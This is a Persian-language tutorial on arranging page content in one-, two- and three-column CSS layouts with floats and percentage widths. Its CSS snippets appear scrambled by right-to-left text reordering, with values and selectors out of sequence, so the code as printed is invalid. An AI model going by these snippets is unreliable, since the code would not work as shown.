نشانه‌گذاري بالا را به‌صورت زير در ‌CSS‌ تعريف مي‌كنيم. مي‌توانيد ارتباط اين شبه‌كدها را با نشانه‌گذاري ‌HTML‌ ‌به‌سادگي دريابيد.

‌%;}10 :%; margin-left80 :.example-layout {width ‌

‌;}999px solid #1 :.example-header, .example-footer {border ‌

‌.example-footer {clear: both;} ‌

‌ex;}6 :E; height95.primary {background: #FBA ‌

‌F;}08.secondary {background: #FFE ‌

‌.tertiary {background: #FFFABF;} ‌

‌.example-header, ‌

‌ .example-footer, ‌

‌ .primary, ‌

‌ .secondary, ‌

‌;}0 px5 :%; margin2 px10 :.tertiary {padding ‌

‌; overflow: hidden;}0 :.example-content {padding ‌

‌;}0 :.primary, .secondary, .tertiary {margin-top ‌

اين نكته را درنظر بگيريد كه هر عنصر ‌div‌ به‌اندازه 2% از چپ و راست فضاي اضافي ‌(padding)‌ دارد. پس در عرض دادن به ستون‌ها دقت بيشتري داشته باشيد.

تك ستوني

ساده‌ترين راه براي قراردادن مطلب اصلي در بالاي صفحه، روش تك ستوني است. در اين روش، به‌سادگي مطلب اصلي را ابتدا، و بقيه مطالب را به‌ترتيب اهميت پشت آن قرار مي‌دهيم. در اين‌صورت، اساسا نيازي به تكنيك شناوري ‌(floating)‌ در ‌CSS‌ نخواهد بود. ‌ ‌

دو ستوني

مي‌توانيد با تكنيك شناوري و با استفاده از دستورات زير، به‌سادگي مطلب اصلي را در سمت چپ يا راست قرار دهيد. ‌ ‌

قرار دادن مطلب اصلي در سمت چپ (طرح‌بندي راست‌به‌چپ:)

‌ %;60 :.two-left .primary {float: left; width ‌

‌%;}2 :margin-right‌

‌ %;}30 :.two-left .secondary {float: right; width ‌

‌% */100 % padding =8 % +2 % +30 % +60 /* ‌

‌%;}100 :.two-left .tertiary {clear: both; width ‌

سه ستوني

در اين‌نوع طرح‌بندي احتياج به يك المان ‌div‌ ويژه با كلاس ‌wrap‌ داريم. در واقع اين المان حكم پوشاننده ‌(Wrapper)‌ را دارد و اطراف مطلب اصلي، و مطالب فرعي ستون‌هاي چپ و راست قرار مي‌گيرد. ‌ ‌

‌

‌ %;70 :.three-middle .wrap {float: left; width ‌

‌%;}2 :margin-right‌

‌ %;58 :.three-middle .primary {float: right; width ‌

‌%;}2 :margin-left‌

‌ %;57 :html .three-middle .primary {width

‌ %;}1 :margin-left

‌*/ 6/* solves percentages issue in IE ‌

‌%;}32 :.three-middle .secondary {float: left; width ‌

‌ %;}24 :.three-middle .tertiary {float: right; width ‌

‌% */100 % padding =4 % +24 % +2 % + 70 / * ‌

نكته: حواستان باشد كه اگر ستون‌هاي شما، مرز چپ يا راست دارد، آن‌ها در اندازه عرض اصلي تاثيرگذار خواهد بود. بنابراين، اگر طرح‌بندي شما، با عرض ثابت است، يك ماشين حساب كنار دست خود بگذاريد و مشغول به محاسبه و جمع شويد. اگر جز آن دسته از طراحان هستيد كه ترجيح مي‌دهند، عرض ثابتي براي وب‌سايتشان نداشته باشند، پس بهتر است يا از مرزها استفاده نكنيد، يا اگر استفاده مي‌كنيد، اندازه آن را به نصف حاشيه كناري‌اش تغيير دهيد. بعد از مدتي تجربه و تمرين، قطعا مي‌توانيد چيزي كه دلخواه‌تان است را بدست آوريد.